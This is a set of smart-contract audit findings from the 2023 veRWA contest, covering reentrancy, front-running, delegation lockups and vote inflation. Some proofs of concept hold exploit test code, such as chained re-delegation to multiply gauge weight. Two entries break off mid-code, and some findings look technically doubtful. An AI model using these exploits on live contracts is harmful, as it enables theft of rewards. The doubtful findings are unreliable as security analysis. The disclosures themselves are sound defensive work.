xanoutas/solidity-security-findings huggingface dataset:
_get_weight and _get_sum functions is vulnerable to reentrancy attacks 
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L91
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L66


# Vulnerability details

## Impact
Reentrant attacks

## Proof of Concept
The _get_weight and _get_sum functions in this contract is vulnerable to reentrancy attacks.
The key things to note:
1. _get_weight and _get_sum make external calls to votingEscrow.getLastUserPoint.
2. _get_weight and _get_sum update state variables like time_weight, points_weight, time_sum, points_sum etc.
3. The external call happens before the state updates.

This means if votingEscrow.getLastUserPoint were to call back into this contract, it could call _get_weight or _get_sum again, causing them to run recursively while the state variables remain in an intermediate state.

If votingEscrow.getLastUserPoint called _get_weight again, it would rerun with the state variables not yet updated. This could allow an attacker to manipulate the state in unexpected ways. For example, by calling _get_weight multiple times they could artificially increase a gauge's weight.



## Tools Used
Manual

## Recommended Mitigation Steps 
Follow the checks-effects-interactions pattern


## Assessed type

Reentrancy
the vote_for_gauge_weights function is vulnerable to front-running
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L242
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/GaugeController.sol#L252


# Vulnerability details

## Impact
Front running attacks

## Proof of Concept
vote_for_gauge_weights records the vote immediately by updating state like vote_user_power, but the actual weight change doesn't happen until the next week boundary
This allows a malicious actor to watch for vote_for_gauge_weights transactions and front-run them with their own votes to manipulate the outcome.
For example:
1. Alice submits a large vote for Gauge A. This is recorded.
2. Eve sees Alice's transaction.
3. Eve quickly sends a transaction voting for Gauge B before the next week boundary.
4. At the week boundary, Eve's vote for Gauge B overrides Alice's recorded vote for Gauge A.


## Tools Used
Manual

## Recommended Mitigation Steps 
the weight changes should take effect immediately rather than delayed


## Assessed type

Other
Cannot undelegate without increasing lock time by 5 years, delegatee griefing possible
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L384


# Vulnerability details

## Impact
Any time a user delegates to another user, they will have to at some point reset their lock time to undelegate. As a result, delegatees can, either intentionally or unintentionally, increase their lock time to prevent delegators from undelegating, preventing withdrawal.

## Proof of Concept
In `VotingEscrow.delegate`, users may only delegate to locks with a later end time.

```solidity
// delegate()
require(toLocked.end >= fromLocked.end, "Only delegate to longer lock");
```

The problem with this is that the same logic applies when undelegating, which must be done to withdraw.

```solidity
// withdraw()
require(locked_.delegatee == msg.sender, "Lock delegated");
```

Since the lock we're delegating to must be longer than the lock we're delegating from, and we also have to undelegate from that lock with matching logic as if we're delegating, we must at some point reset our lock time. Because the lock can only reset to an end date of 5 years from the current time, and the user may delegate at any point throughout the lifecycle of their lock, this logic could easily force the user to lock their tokens for almost double the initially expected lock time.

Consider for example, a circumstance in which a user delegates their lock until shortly before it expires before going to undelegate their lock and suddenly realizes that they must extend their lock period by 5 years.

Furthermore, it's possible that the delegatee extends their lock period, either for their own sake or to prevent the delegator from undelegating, causing the user to have their lock extended indefinitely.

## Recommended Mitigation Steps
Mitigating this issue is difficult because allowing a user to undelegate with a closer end time means that users can execute an attack by which they delegate to another, newer account which they control so that they can prevent voting decay. At this point I'm not clear on any solutions other than removing delegation functionality or somehow including delegator voting decay into the delegated amount such that they can't perform the attack to artificially prevent voting decay.


## Assessed type

DoS
If a delegated lock expires, the user cannot undelegate and therefore cannot withdraw
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L383


# Vulnerability details

## Impact
If a user's lock expires while delegated to another user, they cannot undelegate their tokens and therefore cannot withdraw, permanently locking their tokens in the contract.

## Proof of Concept
Consider a circumstance in which a user has delegated to another user. Their lock has expired and they intend to withdraw their locked tokens.

In `VotingEscrow.withdraw`, you cannot withdraw your lock if you're currently delegating to another account.

```solidity
// withdraw()
require(locked_.delegatee == msg.sender, "Lock delegated");
```

But in `delegate`, you can't set a new delegate as an expired account.

```solidity
// delegate()
require(toLocked.end > block.timestamp, "Delegatee lock expired");
```

This logic makes sense in the case that you are actually delegating to another account, but the logic is the same here regardless of whether you're delegating or undelegating.

As a result, in the above example, the user cannot withdraw their position even though it has reached the end time. 

Normally, users can extend their positions using `increaseAmount`, which resets the lock period, but this will revert because you can't execute it on expired locks.

```solidity
// increaseAmount()
require(locked_.end > block.timestamp, "Lock expired");
```

Since we cannot undelegate with an expired lock and we cannot extend the end time of the lock in any way, the users funds are permanently locked.

## Recommended Mitigation Steps
It's recommended that we allow undelegation of expired locks. e.g.

```solidity
// delegate()
require(toLocked == locked_ || toLocked.end > block.timestamp, "Delegatee lock expired");
```



## Assessed type

DoS
Delegatees can keep delegator's deposits against their will using frontrunning
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L384


# Vulnerability details

## Impact
A voter cannot redelegate his deposit except the new `delegatee` [has a higher lock time](https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L384) than the current delegatee. 
        
```
   require(toLocked.end >= fromLocked.end, "Only delegate to longer lock");
```

This is a good design choice for the benefit of the protocol. But for a user that wants to redelegate, undelegate he may be prevented by the current delegatee. 

The current delegatee can achieve this by frontrunning any transaction that wants to redelegate an amount currently delegated to him. The frontrun transaction will increase his lock time, which will make the incoming transaction invalid. Although this can be avoided if the transaction is sent through a private RPC URL or if the new delegate's lock time can be increased and the delegation happens in the same block.
Depending on the technical level of the voter, this might be feasible to perform.

Ultimately, the lock time of the new delegatee has to be increased to redelegate or undelegate which may not be favorable for him.

## Proof of Concept
1. Alice creates a lock and deposits 5 CANTO in the Voting Escrow.
2. Alice delegates to another user.
3. Alice tries to redelegate but is frontrun by her current delegatee, which leaves her deposits stuck with the delegatee.


## Tools Used
Vscode

## Recommended Mitigation Steps
The current check seems more like a design choice to make sure voters remain in the contract longer than their lock time. Replacing it with the check below will help achieve the same objective with no detriment to the voter.

```solidity
        require(toLocked.end >= locked_.end, "Cannot delegate to shorter lock");
```


## Assessed type

Invalid Validation
User can inflate votes for the gauge weight with multiple re-delegations
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L214-L220
https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L107-L108


# Vulnerability details

## Impact
When a user votes for the gauge weights in the `GaugeController` we use his current vote balance, this leads to the possibility of vote inflation. The flow of the hack:
- Alice creates multiple 1 wei locks from her different accounts
- then she delegates her votes and vote from this accounts 
- this will result in weight inflation for a specific market
- Alice claims her rewards from this market in the same transaction
- then she can proceed to the next one.

This wasn't a problem in the original curve contract because there was no reliable way to increase the vote balance in the same transaction. This was made possible with the introduction of delegation mechanics, in our case delegations can be viewed as a flash loan.

## Proof of Concept
Test case for `GaugeController.t.sol`
```
    function botVote(address handler, address bot, address target) public {
        vm.prank(handler);
        ve.delegate(bot);
        vm.prank(bot);
        gc.vote_for_gauge_weights(target, 100);
    }

    function testVoteCarousel() public {
        // prepare actors
        address payable mal = payable(makeAddr("Mal"));
        address bot1 = makeAddr("bot1");
        address bot2 = makeAddr("bot2");
        address bot3 = makeAddr("bot3");
        address bot4 = makeAddr("bot4");

        vm.deal(bot1, 1);
        vm.deal(bot2, 1);
        vm.deal(bot3, 1);
        vm.deal(bot4, 1);

        vm.deal(mal, 100 ether);
        vm.deal(address(ledger), 100 ether);
        // warp from 1 to 604800
        vm.warp(block.timestamp + WEEK - 1);
        // config gauges and ledger
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.change_gauge_weight(gauge1, 100);
        gc.add_gauge(gauge2);
        gc.change_gauge_weight(gauge2, 100);
        ledger.whiteListLendingMarket(gauge1, true);
        ledger.setRewards(block.timestamp, block.timestamp + WEEK, 1 ether);
        vm.stopPrank();
        // Mal deposits to market
        vm.prank(gauge1);
        ledger.sync_ledger(mal, 1 ether);
        // Lock 1 ether from the main wallet
        vm.prank(mal);
        ve.createLock{value: 1 ether}(1 ether);
        // Lock 1 wei from throwaway wallets
        vm.prank(bot1);
        ve.createLock{value: 1}(1);
        vm.prank(bot2);
        ve.createLock{value: 1}(1);
        vm.prank(bot3);
        ve.createLock{value: 1}(1);
        vm.prank(bot4);
        ve.createLock{value: 1}(1);
        // Normal users vote for markets
        vm.startPrank(user1);
        ve.createLock{value: 1 ether}(1 ether);
        gc.vote_for_gauge_weights(gauge1, 100);
        vm.stopPrank();

        vm.startPrank(user2);
        ve.createLock{value: 1 ether}(1 ether);
        gc.vote_for_gauge_weights(gauge2, 100);
        vm.stopPrank();
        //
Disproportionate Rewards Calculation Potential due to Large _delta Values
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/LendingLedger.sol#L140
https://github.com/code-423n4/2023-08-verwa/blob/main/src/LendingLedger.sol#L170


# Vulnerability details

## Impact
 The issue arises from the interaction between the sync_ledger function and the claim function. When a user enters a significantly large positive _delta value through the sync_ledger function, it can lead to unexpected and disproportionate rewards calculation during the execution of the claim function. This potential imbalance in rewards allocation could unfairly reward users who manipulate their balances using large _delta inputs.

## Proof of Concept

    function sync_ledger(address _lender, int256 _delta) external {
       ..
        int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta;
        ..
        int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta;
        require(updatedMarketBalance >= 0, "Market balance underflow"); // Sanity check performed here, but the market should ensure that this never happens
        lendingMarketTotalBalance[lendingMarket][currEpoch] = uint256(updatedMarketBalance);
    }

    function claim(
        address _market,
        uint256 _claimFromTimestamp,
        uint256 _claimUpToTimestamp
    ) external is_valid_epoch(_claimFromTimestamp) is_valid_epoch(_claimUpToTimestamp) {
        ..
        if (claimEnd >= claimStart) {
            // This ensures that we only set userClaimedEpoch when a claim actually happened
            for (uint256 i = claimStart; i <= claimEnd; i += WEEK) {
                uint256 userBalance = lendingMarketBalances[_market][lender][i];
                uint256 marketBalance = lendingMarketTotalBalance[_market][i];
                RewardInformation memory ri = rewardInformation[i];
                require(ri.set, "Reward not set yet"); 
                uint256 marketWeight = gaugeController.gauge_relative_weight_write(_market, i);  
                cantoToSend += (marketWeight * userBalance * ri.amount) / (1e18 * marketBalance);  
            }
            userClaimedEpoch[_market][lender] = claimEnd + WEEK;
        }
        if (cantoToSend > 0) {
            (bool success, ) = msg.sender.call{value: cantoToSend}("");
            require(success, "Failed to send CANTO");
        }
    }


## Tools Used
Manual review

## Recommended Mitigation Steps
 Consider introducing limits to the impact of _delta changes on user balances within the sync_ledger function. This can prevent sudden and significant balance changes that lead to disproportionate rewards.


## Assessed type

Access Control
sync_ledger() and setRewards() are vulnerable to front-running
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L129
https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L188


# Vulnerability details

## Impact
Attack can manipulate and gain extra rewards

## Proof of Concept

The sync_ledger() function does not check that the lending market is still whitelisted when updating balances. An attacker could:

- Wait for a lending market to call sync_ledger()
- Quickly call whiteListLendingMarket() to remove the market from the whitelist
- Call sync_ledger() again themselves with made up values before the original call goes through

This would let them manipulate the balances stored in the contract.

The setRewards() function does not check the whitelist or authenticate the caller. An attacker could:

- Call setRewards() to set very high reward amounts for upcoming epochs
- Deposit tokens into a lending market to take advantage of the high rewards
- Withdraw and claim rewards before the real governance can fix the issue

This would let them exploit the contract to get extra rewards.



## Tools Used
Manual

## Recommended Mitigation Steps 
sync_ledger() should check that the calling lending market is still whitelisted and setRewards() should check that the caller is the governance




## Assessed type

Other
Gauge weights can be artificially increased through a series of voting and delegations performed by attacker.
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/GaugeController.sol#L211-L278
https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/VotingEscrow.sol#L356-L387


# Vulnerability details

## Impact
The `GaugeController` retrieves  the most recent `Point` data from the user, which is then utilized to compute their voting power for the designated gauges. Nonetheless, there are no safeguards in place to hinder users from transferring their veCANTO after casting their votes for the gauges. This particular vulnerability can be exploited by malicious users to artificially amplify the weights of gauges by repeatedly engaging in a cycle of voting and delegating to new addresses. This gives the attacker an unfair advantage in the distribution of rewards.

## Proof of Concept
Consider the `vote_for_gauge_weights` function, during its execution it retrieves the `slope` value from the latest user's `Point`. However it cannot guarantee that the user will keep those point until the end of the epoch. This can be exploited by an attacker that first votes for an specific gauge, then delegate his veCANTO to another address he controls to be able to vote again for the same gauge, and keep doing this as many times as the attacker wants in a single epoch, allowing him to arbitrarily increase any gauge weights for an epoch. As an example consider the the following sequence: Address 1 votes -> Delegate to address 2 -> Address 2 votes -> Delegate to address 3 -> Address 3 votes -> (...) -> Delegte to address N-1 -> Address N-1 votes -> Delegate to address N -> Address N votes.

By doing this the attacker can multiply his votes by N (be N the amount of addresses of the attacker) for the same amount of veCANTO locked, enabling him to artifically inflate any gauge weight. This can be used by this attacker to increase his rewards based on the inflated gauges.

Consider the following POC comparing a chain of 3 addresses with and without the inflation attack and the resulting log from the test. As we can see from the logs of the following POC, in both cases (control and inflate) the total amount locked by the attacker addresses are the same (`102*1e18`) however the resulting gauge weight is three times bigger for the inflate case.

```
Control: Final gauge weight:  101329315068211574401
Inflate: Final gauge weight:  300014246575282780801
```

POC code below:

```solidity
pragma solidity >=0.8.0;

import {Utilities} from "./utils/Utilities.sol";
import {console} from "./utils/Console.sol";
import {VotingEscrow} from "../VotingEscrow.sol";
import {GaugeController} from "../GaugeController.sol";
import {Test} from "forge-std/Test.sol";

contract GaugeControllerTest is Test {
    Utilities internal utils;
    address payable[] internal users;
    address internal gov;
    address internal attackerAddr1;
    address internal attackerAddr2;
    address internal attackerAddr3;
    ad
When a gauge is removed by governance, user voting power attributed to that gauge is stuck
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/GaugeController.sol#L213


# Vulnerability details

## Vulnerability details
`GaugeController` includes functionality for Canto governance to add or remove gauges. When a gauge is removed, its address in `isValidGauge` is set to false and its weight is set to zero:
```solidity
/// @notice Remove a gauge, only callable by governance
/// @dev Sets the gauge weight to 0
/// @param _gauge The gauge address
function remove_gauge(address _gauge) external onlyGovernance {
    require(isValidGauge[_gauge], "Invalid gauge address");
    isValidGauge[_gauge] = false;
    _change_gauge_weight(_gauge, 0);
    emit GaugeRemoved(_gauge);
}
```

However, this function does not modify the `vote_user_power` mapping. In order for a user to completely remove their votes for a gauge and recover their voting power, they need to call `vote_for_gauge_weight(address _gauge_addr, uint256 _user_weight)` with a `_user_weight` of 0.

However, as the gauge has marked as false in `isValidGauge[_gauge_addr]`, attempts to remove votes from a removed gauge will always revert:

```solidity
function vote_for_gauge_weights(
    address _gauge_addr, uint256 _user_weight)
        external
    {
        require(_user_weight >= 0 && _user_weight <= 10_000, "Invalid user weight");
        
        // @audit-issue this will always revert for gauges that have been removed by governance
        require(isValidGauge[_gauge_addr], "Invalid gauge address");
```

## Impact
Medium - user votes are stuck for the full lock period, but this action is reversible by governance.

## Proof of Concept
The following test can be dropped into `GaugeController.t.sol`.
```
function testVoteRemovedGauge() public {
    // vote_for_gauge_weights valid vote 50%
    // Should vote for gauge and change weights accordingly
    vm.startPrank(gov);
    gc.add_gauge(gauge1);
    gc.change_gauge_weight(gauge1, 50);
    vm.stopPrank();

    vm.startPrank(user1);
    ve.createLock{value: 1 ether}(1 ether);
    gc.vote_for_gauge_weights(gauge1, 5000); // vote 50% for gauge1
    vm.stopPrank();

    vm.prank(gov);
    gc.remove_gauge(gauge1);
    vm.prank(user1);
    vm.expectRevert();
    gc.vote_for_gauge_weights(gauge1, 0); // @audit can't remove votes
}
```

## Tools Used
Manual review

## Recommended Mitigation Steps
- Allow users to set votes to 0 even if `isValidGauge[addr] == false`
- Correctly update weights when removing gauges





## Assessed type

DoS
Unable to undelegate if the delegatee's unlockTime exceeds that of the owner.
Audit: 2023-08-verwa-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/VotingEscrow.sol#L384


# Vulnerability details

## Description and Impact
In the `delegate()` function, if the delegatee's unlockTime surpasses that of the owner, the owner cannot perform an undelegation. As a result, the owner becomes unable to withdraw funds since the `withdraw()` function necessitates the owner's delegatee to be the owner themselves.

## Proof of Concept
1. Both Alice and Bob utilize the `createLock()` function to lock their tokens.
2. Alice invokes the `delegate(Bob)` function, thereby delegating her tokens to Bob.
3. Bob accesses the `increaseAmount()` function, extending the lock duration of his tokens.
4. Alice attempts to use the `delegate(msg.sender)` function but encounters an inability to undelegate due to Bob's lock duration surpassing that of Alice's.

## Recommended Mitigation Steps
We recommend implementing a mechanism where the owner inherits the unlockTime of the delegatee if it happens to exceed the owner's own unlockTime.


## Assessed type

Governance